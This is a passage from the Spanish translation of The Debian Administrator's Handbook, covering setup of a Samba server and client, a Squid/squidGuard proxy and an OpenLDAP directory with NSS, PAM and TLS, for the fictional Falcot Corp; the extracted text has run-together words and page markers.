SWAT estará disponible en la URLhttp://localhost:901. Accederlosignifica utilizar la cuenta root (con sucontraseña usual). Sepa que SWATreescribe el archivo smb.conf en supropio dialecto, por lo que tiene sentidorealizar una copia de respaldo antes sisólo está interesado en probar estaherramienta.

Page 1294: El Libro Del Administrador de Debian - Raphael Hertzog

SWAT es muy amigable; su interfazincluye un asistente que permite definir elrol del servidor con tres preguntas.Todavía puede configurar todas lasopciones globales, así como tambiénaquellas para todos los espacioscompartidos existentes, y por supuestopuede agregar nuevos espacioscompartidos. Cada opción tiene un enlacea la documentación relevante.

DOCUMENTACIÓN Yendo más allá

El servidor Samba es extremadamenteconfigurable y versátil y puede adaptarsea muchos casos de uso diferentes conrequisitos y arquitecturas de red muydistintas. Este libro sólo se enfocará en elcaso de uso donde se utiliza Samba comoel controlador de Dominio principal, pero

Page 1295: El Libro Del Administrador de Debian - Raphael Hertzog

también pueder ser un servidor simple enel dominio y delegar la autenticación alcontrolador principal (que puede ser unservidor Windows).

La documentación disponible en elpaquete samba-doc está muy bien escrita.En particular, el documento «Samba 3 ByExample» (disponible como/usr/share/doc/samba-

doc/htmldocs/Samba3-

ByExample/index.html) trata con un casode uso concreto que evoluciona junto alcrecimiento de la compañía.

HERRAMIENTA Autenticación con unservidor Windows

Winbind provee a los administradores desistemas la opción de utilizar un servidor

Page 1296: El Libro Del Administrador de Debian - Raphael Hertzog

Windows NT como servidor deautenticación. Winbind también seintegra limpiamente con PAM y NSS. Estopermite configurar máquinas Linux en lasque todos los usuarios de un dominio NTautomáticamente tienen una cuenta.

Puede encontrar más información en elarchivo /usr/share/doc/samba-doc/htmldocs/Samba3-

HOWTO/winbind.html.

11.5.1.1. Configuración condebconf

El paquete define una configuraciónmínima basada en las respuestas a unaspocas preguntas Debconf realizadas

Page 1297: El Libro Del Administrador de Debian - Raphael Hertzog

durante la instalación inicial; puederehacer luego este paso deconfiguración ejecutando dpkg-reconfigure samba-common samba.

La primera porción de informaciónrequerida es el nombre del grupo detrabajo al que pertenecerá el servidorSamba (en nuestro caso la respuesta esFALCOTNET). Otra pregunta es sobre sise deben cifrar las contraseñas. Larespuesta es sí, debido a que esnecesario para los clientes Windowsmás recientes; además, aumenta laseguridad. Por el otro lado, estoimplica que deberá administrar lascontraseñas Samba separadas de lascontraseñas Unix.

Page 1298: El Libro Del Administrador de Debian - Raphael Hertzog

El paquete también propone identificarel servidor WINS de la informaciónprovista por el demonio DHCP. Losadministradores de Falcot Corprechazaron esta opción ya quepretenden utilizar el servidor Samba ensí como servidor WINS.

La siguiente pregunta es sobre si seiniciarán los servidores a través deinetd o como demoniosindependientes. Sólo es interesanteutilizar inetd cuando se utiliza pocoSamba; por lo tanto losadministradores de Falcot prefirieronutilizar demonios independientes.

Finalmente, el paquete propone crear el

Page 1299: El Libro Del Administrador de Debian - Raphael Hertzog

archivo /var/lib/samba/passdb.tdbpara almacenar las contraseñascifradas; aceptaron esta opción ya queeste sistema es mucho más eficienteque el archivo de texto/etc/samba/smbpasswd estándar.

11.5.1.2. Configuraciónmanual

11.5.1.2.1. Cambios en smb.conf

Los requisitos en Falcotr requierenmodificar otras opciones en el archivode configuración/etc/samba/smb.conf. Los siguientesextractos resumen los cambios

Page 1300: El Libro Del Administrador de Debian - Raphael Hertzog

realizados en la sección [global].

[global]

## Exploración/Indetificación ###

# Modifique esto al grupo de trabajo/nombre de dominio NT al que pertenecerá su servidor Samba

workgroup = FALCOTNET

# «server string» es el equivalente al campo de descripción en NT

server string = %h server (Samba %v)

# Sección sobre Windows Internet Name Serving Support:

# Compatibilidad WINS - Indicar al componente NMBD de Samba que active su servidor WINS

wins support = yes

[...]

####### Autenticación #######

# «security = user» siempre es una buena idea. Esto requerirá una cuenta

Page 1301: El Libro Del Administrador de Debian - Raphael Hertzog

# Unix en este servidor para todo usuario que acceda al servidor. Revise

# /usr/share/doc/samba-doc/htmldocs/Samba3-HOWTO/ServerType.html

# en el paquete samba-doc para más detalles.

security = user

# Puede desear cifrar contraseñas. Revise la sección «encrypy passwords»

# de la página de manual smb.conf(5) antes de activarlo.

encrypt passwords = true

# Si utiliza contraseñas cifradas, Samba necesitará saber qué tipo de

# base de datos utiliza.

passdb backend = tdbsam guest

[...]

########## Impresión ##########

# Si desea cargar su lista de impresoras automáticamente en lugar

# de configurarlas individualmente, necesitará esto

load printers = yes

# Impresión lpr(ng). Puede desear modificar la ubicación del

Page 1302: El Libro Del Administrador de Debian - Raphael Hertzog

# archivo printcap

; printing = bsd

; printcap name = /etc/printcap

# Impresión CUPS. Revise también la página de manual cupsaddsmb(8)

# en el paquete cups-client.

printing = cups

printcap name = cups

[...]

######## Archivos compartidos ########

# Opciones de manipulación de nombres

; preserve case = yes

; short preserve case = yes

unix charset=ISO8859-1

Indica que Samba debe funcionarcomo un servidor de nombres

Page 1303: El Libro Del Administrador de Debian - Raphael Hertzog

Netbios (WINS) para la red local.

Este es el valor predeterminado paraeste parámetro; sin embargo, comoes central a la configuración deSamba, se recomienda rellenarloexplícitamente. Cada usuario debeautenticarse antes de acceder acualquier espacio compartido.

Indica a Samba que compartaautomáticamente todas lasimpresoras locales que existen en laconfiguración de CUPS. Todavía esposible restringir el acceso a estasimpresoras agregando las secciones

Page 1304: El Libro Del Administrador de Debian - Raphael Hertzog

apropiadas.

Especifica el sismtea de impresión autilizar; CUPS en nuestro caso.

Especifica el conjunto de caracteresy la codificación utilizado para losnombres de archivos en Linux. Elvalor predeterminado es UTF8(Unicode).

11.5.1.2.2. Añadir usuarios

Cada usuario Samba necesita unacuenta en el servidor; primero debe

Page 1305: El Libro Del Administrador de Debian - Raphael Hertzog

crear las cuentas Unix, luego necesitaregistrar el usuario en la base de datosde Samba. El paso de Unix se realizade la forma normal (por ejemplo,utilizando adduser).

Agregar un usuario existente a la basede datos de Samba sólo es cuestión deejecutar smbpasswd -a usuario; estopedirá la contraseña de formainteractiva.

Puede eliminar un usuario ejecutandosmbpasswd -x usuario. Tambiénpuede desactivar temporalmente unacuenta Samba (con smbpasswd -dusuario) y reactivarla después (consmbpasswd -e usuario).

Page 1306: El Libro Del Administrador de Debian - Raphael Hertzog

11.5.1.2.3. Cambio a controlador dedominio

Esta sección documenta cómo losadministradores de Falcot fueroninclusive más allá y convirtieron elservidor Samba en un controlador dedominio con perfiles móviles (quepermite a los usuarios utilizar suescritorio sin importar la máquina en laque se conecten).

Primero agregaron unas pocasdirectivas adicionales en la sección[global] del archivo deconfiguración:

domain logons = yes

Page 1307: El Libro Del Administrador de Debian - Raphael Hertzog

preferred master = yes

logon path = \\%L\profiles\%U

logon script = scripts/logon.bat

Habilita la funcionalidad de controlador dedominio.

Especifica la ubicación de los directoriospersonales de los usuarios. Estos se almacenan enun espacio compartido dedicado, lo que permiteactivar opciones específicas (en particularprofile acls, un requisito necesario para sercompatible con Windows 2000, XP y Vista).

Especifica el script de lote («batch», nointeractivo) que se ejecutará en la máquina

Page 1308: El Libro Del Administrador de Debian - Raphael Hertzog

Windows cliente cada vez que se inice sesión. Eneste caso,/var/lib/samba/netlogon/scripts/logon.bat

El script necesita estar en formato DOS, donde laslíneas están separadas por un carácter de retornode carro y un carácter de cambio de línea; si elarchivo fue creado en Linux, ejecutar convertirá.

Los programas más utilizados en estos scriptspermiten la creación automática de discos de red ysincronizar la hora del sistema.

Example 11.28. El archivo logon.bat

net time \\ARRAKIS /set /yes

net use H: /home

net use U: \\ARRAKIS\utils

Page 1309: El Libro Del Administrador de Debian - Raphael Hertzog

También crearon dos espacioscompartidos adicionales con susdirectorios asociados:

[netlogon]

comment = Servicio de sesiones de red

path = /var/lib/samba/netlogon

guest ok = yes

writable = no

share modes = no

[profiles]

comment = Perfiles compartidos

path = /var/lib/samba/profiles

read only = No

profile acls = Yes

También debieron crear los directoriosde cada usuario (como/var/lib/samba/profiles/usuario)

Page 1310: El Libro Del Administrador de Debian - Raphael Hertzog

y cada uno de ellos debe ser propiedaddel usuario apropiado.

11.5.2. Cliente SambaLa funcionalidad de cliente en Sambale permite a una máquina Linuxacceder a espacios e impresorascompartidas en Windows. Losprogramas necesarios se encuentran enlos paquetes smbfs y smbclient.

11.5.2.1. El programasmbclient

El programa smbclient consulta

Page 1311: El Libro Del Administrador de Debian - Raphael Hertzog

servidores SMB. Puede utilizarse laopción -U usuario, para conectarsecon el servidor bajo una identidadconcreta. Con smbclient//servidor/espaciocompartido seaccede al espacio compartido de modointeractivo como si se tratara de uncliente FTP en una consola. smbclient-L servidor enumerará todos losespacios compartidos (y visibles) en unservidor.

11.5.2.2. Montaje deespacios compartidos deWindows

El programa smbmount permite

Page 1312: El Libro Del Administrador de Debian - Raphael Hertzog

montar un espacio compartido deWindows en la jerarquía del sistema dearchivos de Linux.

Example 11.29. Montaje de unespacio compartido de Windows

smbmount //arrakis/shared /shared -o credentials=/usr/local/etc/smb-credentials

El archivo /usr/local/etc/smb-credentials (que no debe seraccesible por usuarios) tiene elsiguiente formato:

username = usuario

password = contraseña

Puede especificar otras opciones en lalínea de órdenes; la lista completa se

Page 1313: El Libro Del Administrador de Debian - Raphael Hertzog

encuentra disponible en la página demanual smbmount(1). Dos opciones enparticular pueden ser interesantes: uidy gid que permiten forzar el usuario ygrupo dueños de los archivosdisponibles en el punto de montaje parano restringir el acceso a root.

Si ejecuta smbumount desmontará unespacio compartido SMB.

ALTERNATIVA Utilización de mountpara un espacio compartido de Windows

El programa mount por sí mismo no escompatible con CIFS; sin embargo,cuando se le pide que monte un sistemade archivos desconocido, intenta delegarla tarea a mount.tipo. Debido a que el

Page 1314: El Libro Del Administrador de Debian - Raphael Hertzog

paquete smbfs proporciona el programamount.cifs, es posible montar un espaciocompartido de Windows con el programamount estándar:

mount -t cifs -o credentials=/usr/local/etc/smb-credentials //

Esto también permite configurar unmontaje SMB en el archivo /etc/fstabestándar:

//servidor/shared /shared cifs credentials=/usr/local/etc/smb-credentials

11.5.2.3. Impresión en unaimpresora compartida

CUPS es una solución elegante paraimprimir desde una estación de trabajo

Page 1315: El Libro Del Administrador de Debian - Raphael Hertzog

Linux en una impresora compartida poruna máquina Windows. Cuando instalesmbclient, CUPS le permitirá instalarimpresoras compartidas Windows deforma automática.

Los pasos necesarios son lossiguientes:

Ingrese a la interfaz deconfiguración de CUPS:

http://localhost:631/admin.

Pulse en «Agregar impresora»,luego ingrese los datos relevantesa dicha impresora.Cuando seleccione el dispositivode impresión, seleccione

Page 1316: El Libro Del Administrador de Debian - Raphael Hertzog

«Impresora Windows viaSAMBA».La URI que describe la impresorase verá como sigue:

smb://usuario:contraseña@servidor

Voilà, ¡la impresora ya está lista!

Page 1317: El Libro Del Administrador de Debian - Raphael Hertzog

11.6. ProxyHTTP/FTPUn proxy HTTP/FTP funciona comointermediaro para conexiones HTTPy/o FTP. Su rol es doble:

Actuar como caché: losdocumentos que han sidodescargados recientemente soncopiados localmente para evitarmúltiples descargas.Servidor de filtro: si el uso delproxy es obligatorio (y sebloquean las conexiones salientesa menos que sean a través del

Page 1318: El Libro Del Administrador de Debian - Raphael Hertzog

proxy), entonces el proxy puededeterminar si se permite o no elpedido.

Falcot Corp eligió a Squid como suservidor proxy.

11.6.1. InstalaciónEl paquete Debian squid sólo contieneel proxy (caché) modular. Paraconvertirlo en un servidor de filtronecesitará instalar el paquete adicionalsquidguard. Además, squid-cgi proveeuna interfaz de consulta yadministración para un proxy Squid.

Page 1319: El Libro Del Administrador de Debian - Raphael Hertzog

Antes de instalarlo, debe asegurarseque el sistema pueda identificar supropio nombre completo: hostname fdebe devolver el nombrecompletamente calificado (incluyendoel dominio). Si no lo hace, entoncesdebe editar el archivo /etc/hosts paraque contenga el nombre completo delsistema (por ejemplo,arrakis.falcot.com). El nombreoficial del equipo debe ser validadocon el administrador de la red paraevitar posibles conflictos de nombre.

11.6.2. Configuraciónde un caché

Page 1320: El Libro Del Administrador de Debian - Raphael Hertzog

Activar la funcionalidad de servidor decaché es tan simple como editar elarchivo de configuración/etc/squid/squid.conf y permitirque las máquinas en la red localrealicen consultas a través del proxy.El siguiente ejemplo muestra lasmodificaciones realizadas por losadministradores de Falcot Corp:

Example 11.30. El archivo/etc/squid/squid.conf (extractos)

# AGREGUE SUS PROPIAS REGLAS AQUÍ PARA PERMITIR ACCESO DE SUS CLIENTES

# Regla de ejemplo que permite acceso desde su red local. Adáptela

# para incluir sus redes IP (internas) desde las que se debe

# permitir navegar

acl our_networks src 192.168.1.0/24 192.168.2.0/24

http_access allow our_networks

Page 1321: El Libro Del Administrador de Debian - Raphael Hertzog

http_access allow localhost

# Finalmente, negar todo otro acceso a este proxy

http_access deny all

11.6.3. Configuraciónde un filtrosquid en sí mismo no realiza elfiltrado; esta acción es delegada asquidGuard. Debe configurar elprimero para que interactúe con esteúltimo. Esto incluye agregar lasiguiente directiva en el archivo/etc/squid/squid.conf:

redirect_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

Page 1322: El Libro Del Administrador de Debian - Raphael Hertzog

También necesita instalar el programaCGI /usr/lib/cgi-bin/squidGuard.cgi utilizando/usr/share/doc/squidguard/examples/squidGuard.cgi.gz

como punto de partida. Lasmodificaciones necesarias a este scriptson las varialbes $proxy y$proxymaster (el nombre del proxy yel correo de contacto deladministrador, respectivamente). Lasvariables $image y $redirect debenapuntar a imágenes existentes querepresenten el rechazo de una consulta.

Debe ejecutar /etc/init.d/squid reloadpara activar el filtro. Sin embargo,debido a que el paquete squidguard noes un filtro de forma predeterminada,es tarea del administrador definir su

Page 1323: El Libro Del Administrador de Debian - Raphael Hertzog

política. Puede hacerlo personalizandoel archivo/etc/squid/squidGuard.conf.

Debe regenerar la base de datos detrabajo con update-squidguard luegode cada modificación al archivo deconfiguración de squidGuard (o unode las listas de dominios o URLs quemenciona). La sintaxis del archivo deconfiguración se encuentradocumentada en el siguiente sitio web:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVA DansGuardian

El paquete dansguardian es unaalternativa a squidguard. Este software no

Page 1324: El Libro Del Administrador de Debian - Raphael Hertzog

sólo gestiona una lista negra de URLsprohibidas, sino que puede aprovechar elsistema PICS (plataforma para selecciónde contenido en Internet: «Platform forInternet Content Selection») para decidirsi una página es aceptable mediante elanálisis dinámico de su contenido.

Page 1325: El Libro Del Administrador de Debian - Raphael Hertzog

11.7. DirectorioLDAPOpenLDAP es una implementación delprotocolo LDAP; en otras palabras, esuna base de datos de propósito especialdiseñada para almacenar directorios.En el caso de uso más común, utilizarun servidor LDAP permite centralizarla administración de las cuentas deusuarios y permisos relacionados. Loque es más, puede replicar fácilmenteuna base de datos LDAP, lo quepermite configurar varios servidoresLDAP sincronizados. Cuando la red ycantidad de usuarios crecen

Page 1326: El Libro Del Administrador de Debian - Raphael Hertzog

rápidamente, puede balancear la cargaentre varios servidores.

Los datos LDAP son estructurados yjerárquicos. La estructura es definidapor «esquemas» («schemas») quedescriben el tipo de objetos que la basede datos puede almacenar junto conuna lista de todos sus atributosposibles. La sintaxis utilizada parahacer referencia a un objeto particularen la base de datos está basada en estaestructura, lo que explica sucomplejidad.

11.7.1. Instalación

Page 1327: El Libro Del Administrador de Debian - Raphael Hertzog

El paquete slapd contiene el servidorOpenLDAP. El paquete ldap-utilsincluye herramientas de línea deórdenes para interactuar con servidoresLDAP.

La instalación de slapd normalmentehace unas pocas preguntas debconf;puede forzar esta fase de configuraciónejecutando dpkg-reconfigure slapd.

¿Evitar la configuración delservidor OpenLDAP? No, porsupuesto que deseamos configurareste servicio.Nombre de dominio DNS:«falcot.com».Nombre de la organización:

Page 1328: El Libro Del Administrador de Debian - Raphael Hertzog

“Falcot Corp”.Debe ingresar la contraseña deadministración.Base de datos a utilizar: «HDB».¿Desea eliminar la base de datoscuando se purge slapd? No. Notiene sentido arriesgarse a perderla base de datos por error.¿Mover una base de datosanterior? Esta pregunta sólo esrealizada cuando se intentaconfigurarlo y ya existe una basede datos. Sólo responda «yes» sirealmente desea iniciarnuevamente desde una base dedatos limpia; por ejemplo, siejecuta dpkg-reconfigure slapdinmediatamente después de

Page 1329: El Libro Del Administrador de Debian - Raphael Hertzog

instalarlo por primera vez.¿Permitir el protocol LDAPv2?No, no tiene sentido. Todas lasherramientas que utilizaremosentienden el protocolo LDAPv3.

VOLVER A LOS CIMIENTOS FormatoLDIF

Un archivo LDIF (formato deintercambios de datos LDAP: «LDAPData Interchange Format») es un archivode texto portable que describe elcontenido de una base de datos LDAP (ouna porción de la misma); puedeutilizarlo para introducir datos en otroservidor LDAP.

Page 1330: El Libro Del Administrador de Debian - Raphael Hertzog

Ahora tiene configurada una base dedatos mínima, como podrá ver con lasiguiente consulta:

$ ldapsearch -x -b dc=falcot,dc=com

# extended LDIF

#

# LDAPv3

# base <dc=falcot,dc=com> with scope sub

# filter: (objectclass=*)

# requesting: ALL

#

# falcot.com

dn: dc=falcot,dc=com

objectClass: top

objectClass: dcObject

objectClass: organization

o: Falcot Corp

dc: falcot

Page 1331: El Libro Del Administrador de Debian - Raphael Hertzog

# admin, falcot.com

dn: cn=admin,dc=falcot,dc=com

objectClass: simpleSecurityObject

objectClass: organizationalRole

cn: admin

description: LDAP administrator

# search result

search: 2

result: 0 Success

# numResponses: 3

# numEntries: 2

La consulta devolvió dos objetos: laorganización en sí mismo y el usuariode administración.

11.7.2. Relleno del

Page 1332: El Libro Del Administrador de Debian - Raphael Hertzog

directorioDebido a que una base de datos vacíano es particularmente útil, agregaremosen ella todos los directorios existenes;esto incluye las bases de datos deusuarios, grupos, servicios y equipos.

El paquete migrationtools proporcionaun conjunto de scripts para extraer losdatos de los directorios estándar deUnix (/etc/passwd, /etc/group,/etc/services, /etc/hosts, etc.),convetir estos datos y agregarlos en labase de datos LDAP.

Una vez que instaló el paquete, esnecesario editar el archivo

Page 1333: El Libro Del Administrador de Debian - Raphael Hertzog

/etc/migrationtools/migrate_common.ph

debe activar las opcionesIGNORE_UID_BELOW yIGNORE_GID_BELOW (descomentarlas essuficiente).

La operación de migración en sí esgestionada por el scriptmigrate_all_online.sh, como sigue:

# cd /usr/share/migrationtools

# LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh realizará unaspocas preguntas sobre la base de datosLDAP a la que migrará los datos. LaTable 11.1 resume las respuestas dadasen el caso de uso de Falcot.

Page 1334: El Libro Del Administrador de Debian - Raphael Hertzog

Table 11.1. Respuestas a laspreguntas del scriptmigrate_all_online.shPregunta RespuestaContexto denombre X.500

dc=falcot,dc=com

Nombre delservidor LDAP

localhost

Administrador delDN

cn=admin,dc=falcot,dc=com

Credenciales Bind la contraseña deadministración

CrearDUAConfigProfile no

Deliberadamente evitamos migrar elarchivo /etc/aliases, ya que el

Page 1335: El Libro Del Administrador de Debian - Raphael Hertzog

esquema estándar provisto por Debianno incluye la estructura que utiliza estescript para describir alias de correo. Siquisiéramos integrar estos datos en eldirectorio, debe agregar el archivo/etc/ldap/schema/misc.schema alesquema estándar.

HERRAMIENTA Navegación de undirectorio LDAP

El programa luma (en el paquete delmismo nombre) es una herramientagráfica que permite navegar y editar unabase de datos LDAP. Es una herramientainteresante que provee al administradoruna buena visión de la estructurajerárquica de los datos de LDAP.

Page 1336: El Libro Del Administrador de Debian - Raphael Hertzog

Sepa también que el programa ldapaddtiene una opción -c; esta opciónsolicita que no se detenga el proceso encaso de errores. Es necesario utilizaresta opción debido a que la conversióndel archivo /etc/services generaunos pocos errores que puede ignorarsin problemas.

11.7.3. Administraciónde cuentas con LDAPAhora que la base de datos LDAPcontiene información útil, es momentode utilizar estos datos. Esta sección seenfoca en cómo configurar un sistema

Page 1337: El Libro Del Administrador de Debian - Raphael Hertzog

Linux para que los directorios desistema utilicen la base de datos LDAP.

11.7.3.1. Configuración deNSS

El sistema NSS (cambio de servicio denombres: «Name Service Switch»,revise el recuadro YENDO MÁS ALLÁNSS y bases de datos de sistema) es unsistema modular diseñado para definiru obtener información para directoriosde sistemas. Utilizar LDAP comofuente de datos para NSS requiereinstalar el paquete libnss-ldap. Alhacerlo, se harán unas pocas preguntascuyas respuestas están resumidas en la

Page 1338: El Libro Del Administrador de Debian - Raphael Hertzog

Table 11.2.

Table 11.2. Configuración delpaquete lbnss-ldapPregunta RespuestaIdentificarde recursouniforme(URI) delservidorLDAP

ldap://ldap.falcot.com

Nombredistinguidode la basedebúsqueda

dc=falcot,dc=com

Versión

Page 1339: El Libro Del Administrador de Debian - Raphael Hertzog

LDAP autilizar

3

¿La basede datosLDAPrequiereinicio desesión?

no

cuentaLDAP pararoot

cn=admin,dc=falcot,dc=com

contraseñade lacuenta rootde LDAP

la contraseña deadministración

Luego necesita modificar el archivo/etc/nsswitch.conf para configurar

Page 1340: El Libro Del Administrador de Debian - Raphael Hertzog

que NSS utilice el módulo ldap reciéninstalado.

Example 11.31. El archivo/etc/nsswitch.conf

# /etc/nsswitch.conf

#

# Ejemplo de configuración de la funcionalidad de GNU Name Service

# Switch. Si están instalados los paquetes «glibc-doc» e «info»,

# intente «info libc "Name Service Switch"» para más información

# sobre este archivo.

passwd: ldap compat

group: ldap compat

shadow: ldap compat

hosts: files dns ldap

networks: ldap files

protocols: ldap db files

Page 1341: El Libro Del Administrador de Debian - Raphael Hertzog

services: ldap db files

ethers: ldap db files

rpc: ldap db files

netgroup: files

Generalmente agregará el módulo ldapantes que los demás para que, de esaforma, sea consultado primero. Laexcepción notable es el servicio hostsya que para contactar el servidor LDAPnecesita una consulta de DNS primero(para resolver ldap.falcot.com). Sinesta excepción, una consulta denombres intentaría consultar alservidor LDAP; esto dispararía unaresolución de nombres para el servidorLDAP, y así sucesivamente en un cicloinfinito. En cuanto al servicio

Page 1342: El Libro Del Administrador de Debian - Raphael Hertzog

netgroup, todavía no es gestionado porel módulo LDAP.

Si se debe considerar al servidor LDAPcomo autoritativo (e ignorar losarchivos locales utilizados por elmódulo files), puede configurar losservicios con la siguiente sintaxis:

servicio: ldap [NOTFOUND=return]

files.

Si la entrada solicitada no existe en labase de datos LDAP, la consultadevolverá la respuesta «inexistente»aún cuando el recurso exista en uno delos archivos locales; sólo se utilizaránestos archivos locales cuando elservicio LDAP esté caído.

Page 1343: El Libro Del Administrador de Debian - Raphael Hertzog

11.7.3.2. Configuración dePAM

Esta sección describe unaconfiguración PAM (revise el recuadroTRAS BAMBALINAS/etc/environment y/etc/default/locale) que permitiráa las aplicaciones realizar lasautenticaciones necesarias contra labase de datos LDAP.

PRECAUCIÓN Autenticación rota

Modificar la configuración estándar dePAM utilizada por varios programas esuna operación delicada. Un error puedellevar a una autenticación rota, lo que

Page 1344: El Libro Del Administrador de Debian - Raphael Hertzog

podría impedir iniciar sesiones. Por lo querecomendamos mantener una consola deroot abierta. Si ocurriera cualquier errorde configuración, podría solucionarlo yreiniciar los servicios fácilmente.

El paquete libpam-ldap provee elmódulo LDAP para PAM. Lainstalación de este paquete realiza unaspocas preguntas muy similares aaquellas en el paquete libnss-ldap;algunos parámetros de configuración(como el URI del servidor LDAP) soninclusive compartidos con el paquetelibnss-ldap. Encontrará resumidas lasrespuestas en la Table 11.3.

Table 11.3. Configuración de libpam-

Page 1345: El Libro Del Administrador de Debian - Raphael Hertzog

ldapPregunta Respuesta

¿Permitir a lacuenta deadministraciónLDAPcomportarsecomo rootlocal?

Sí. Esto permite utilizar elprograma passwd típico paramodificar las contraseñasalmacenadas en la base dedatos LDAP.

¿La base dedatos LDAPrequiere iniciode sesión?

no

cuenta LDAPpara root

cn=admin,dc=falcot,dc=com

contraseña de la contraseña de

Page 1346: El Libro Del Administrador de Debian - Raphael Hertzog

la cuenta rootde LDAP

administración de la base dedatos LDAP

Instalar el paquete libpam-ldapautomáticamente adapta laconfiguración PAM predeterminadadefinida en los archivos/etc/pam.d/common-auth,/etc/pam.d/common-password y/etc/pam.d/common-account. Estemecanismo utiliza la herramientadedicada pam-auth-update (provistapor el paquete libpam-runtime). Eladministrador también puede utilizaresta herramienta si desea activar odesactivar módulos PAM.

11.7.3.3. Protección de

Page 1347: El Libro Del Administrador de Debian - Raphael Hertzog

intercambios de datos LDAP

De forma predeterminada, el protocoloLDAP se transmite por la red comotexto plano; incluyendo las contraseñas(cifradas). Debido a que se puedenobtener las claves cifradas de la red,pueden ser vulnerables a ataques detipo diccionario. Puede evitarloaplicando una capa extra de cifrado; eltema de esta sección es cómo activaresta capa.

11.7.3.3.1. Configuración del servidor

El primer paso es crear un par de llaves(compuestas de una llave pública y unallave privada) para el servidor LDAP.

Page 1348: El Libro Del Administrador de Debian - Raphael Hertzog

Para esto necesita instalar el paqueteopenssl. Si ejecuta/usr/lib/ssl/misc/CA.pl -newcert,deberá responder unas pocas preguntasmundanas (ubicación, nombre de laorganización, etc.). La respuesta a lapregunta por el «nombre común»(«common name») debe ser el nombrede equipo completamente calificadodel servidor LDAP; en nuestro caso:ldap.falcot.com.

Este programa crea un certificado en elarchivo newcert.pem; la llave privadacorrespondiente es almacenada ennewkey.pem.

Ahora debe instalar estas llaves en su

Page 1349: El Libro Del Administrador de Debian - Raphael Hertzog

localización estándar:

# mv newkey.pem /etc/ssl/private/ldap-key.pem

# chmod 0600 /etc/ssl/private/ldap-key.pem

# mv newcert.pem /etc/ssl/certs/ldap-cert.pem

También necesita indicarle al demonioslapd que utilice estas llaves paracifrado; esto incluye agregar lassiguientes directivas al archivo/etc/ldap/slapd.conf:

Example 11.32. Configuración deslapd para cifrado

# compatibilidad TLS

TLSCipherSuite HIGH

TLSCertificateFile /etc/ssl/certs/ldap-cert.pem

TLSCertificateKeyFile /etc/ssl/private/ldap-key.pem

Page 1350: El Libro Del Administrador de Debian - Raphael Hertzog

El último paso para activar el cifradoinvolucra cambiar la variableSLAPD_SERVICES en el archivo/etc/default/slapd. Para esta másseguros desactivaremos LDAPinseguro completamente.

Example 11.33. El archivo/etc/default/slapd

# Ubicación predeterminada del archivo slapd.conf

SLAPD_CONF=

# Cuenta del sistema bajo la que ejecutar el servidor slapd. Si

# está vacía, el servidor ejecutará como root.

SLAPD_USER=

# Grupo de sistema bajo el que ejecutar el servidor slapd. Si está

# vacío, el servidor ejecutará bajo el grupo primario de su usuario.

SLAPD_GROUP=

Page 1351: El Libro Del Administrador de Debian - Raphael Hertzog

# Ruta al archivp pid del servidor slapd. Si no está definido, el script

# init.d intentará configurarlo desde $SLAPD_CONF (/etc/ldap/slapd.conf)

SLAPD_PIDFILE=

# Configure si se debe iniciar el demonio slurp. Valores posibles:

# - yes: Siempre iniciar slurpd

# - no: Nunca iniciar slurpd

# - auto: Iniciar slurpd si se encuentra la opción replica en slapd.conf

# (predeterminado)

SLURPD_START=auto

# slapd normalmente sirve ldap en todos los puertos TCP 389. slapd también

# puede servir pedidos en el puerto TCP 636 (ldaps) y pedidos a través de

# zócalos unix.

# Ejemplo de uso:

SLAPD_SERVICES="ldaps:/// ldapi:///"

# Opciones adicionales para slapd y slurpd

SLAPD_OPTIONS=""

SLURPD_OPTIONS=""

11.7.3.3.2. Configuración del cliente

Page 1352: El Libro Del Administrador de Debian - Raphael Hertzog

En lado cliente, necesita modificar laconfiguración de los módulos libpam-ldap y libnss-ldap añadiendo ladirectiva ssl on a los archivos deconfiguración /etc/pam_ldap.conf y/etc/libnss-ldap.conf.

Es necesario que los clientes LDAPtambién sean capaces de verificar elservidor por medio de su llave pública.Para ello es preciso instalar una copiade la llave (por ejemplo, como/etc/ssl/certs/ldap-cert.pem) yhacer referencia a su ubicación en elarchivo /etc/ldap/ldap.conf.

Example 11.34. El archivo/etc/ldap/ldap.conf

#

Page 1353: El Libro Del Administrador de Debian - Raphael Hertzog

# Valores predeterminados para LDAP

#

# Revise ldap.conf(5) para más detalles

# Este archivo debe poder ser leído (pero no escrito) por cualquiera.

BASE dc=falcot,dc=com

URI ldaps://ldap.falcot.com

#SIZELIMIT 12

#TIMELIMIT 15

#DEREF never

TLS_CACERT /etc/ssl/certs/ldap-cert.pem

Este capítulo sólo analiza una parte detodo el software de servidor disponible;sin embargo, describimos la mayoríade los servicios de red. Ahora es elmomento de un capítulo aún mástécnico: profundizaremos en los

Page 1354: El Libro Del Administrador de Debian - Raphael Hertzog

detalles de algunos conceptos,describiremos los despliegues masivosy la virtualización.

Page 1355: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 12. AdministraciónavanzadaEste capítulo vuelve sobre algunosaspectos que ya se han descritoanteriormente con una perspectivadiferente: en lugar de instalar un únicoequipo vamos a estudiar sistemas dedespliegue masivo; en lugar de crearvolúmenes RAID o LVM durante lainstalación, vamos a aprender a hacerloa mano para que posteriormentepodamos revisar nuestras eleccionesiniciales. Por último veremosherramientas de monitorización ytécnicas de virtualización. Como

Page 1356: El Libro Del Administrador de Debian - Raphael Hertzog

consecuencia de lo anterior, estecapítulo se dirige más aadministradores profesionales y notanto a personas responsablesúnicamente de su red doméstica.

12.1. RAID yLVMEl Chapter 4, Instalación presentabaestas tecnologías desde el punto devista del instalador y cómo éste lasintegra para hacer sencillo sudespliegue desde el comienzo. Despuesde la instalación inicial, unadministrador debe ser capaz de

Page 1357: El Libro Del Administrador de Debian - Raphael Hertzog

gestionar las cambiantes necesidadesde espacio sin tener que recurrir a unareinstalación. Por lo tanto necesitadominar las herramientas necesariaspara manipular volúmenes RAID yLVM.

Tanto RAID como LVM son técnicaspara abstraer los volúmenes montadosde sus correspondientes dispositivosfísicos (discos duros reales oparticiones de los mismos). El primeroprotege los datos agregandoredundancia mientras que el segundohace más flexible la gestión de losdatos y los independiza del tamaño realde los discos subyacentes. En amboscasos se crean nuevos dispositivos de

Page 1358: El Libro Del Administrador de Debian - Raphael Hertzog

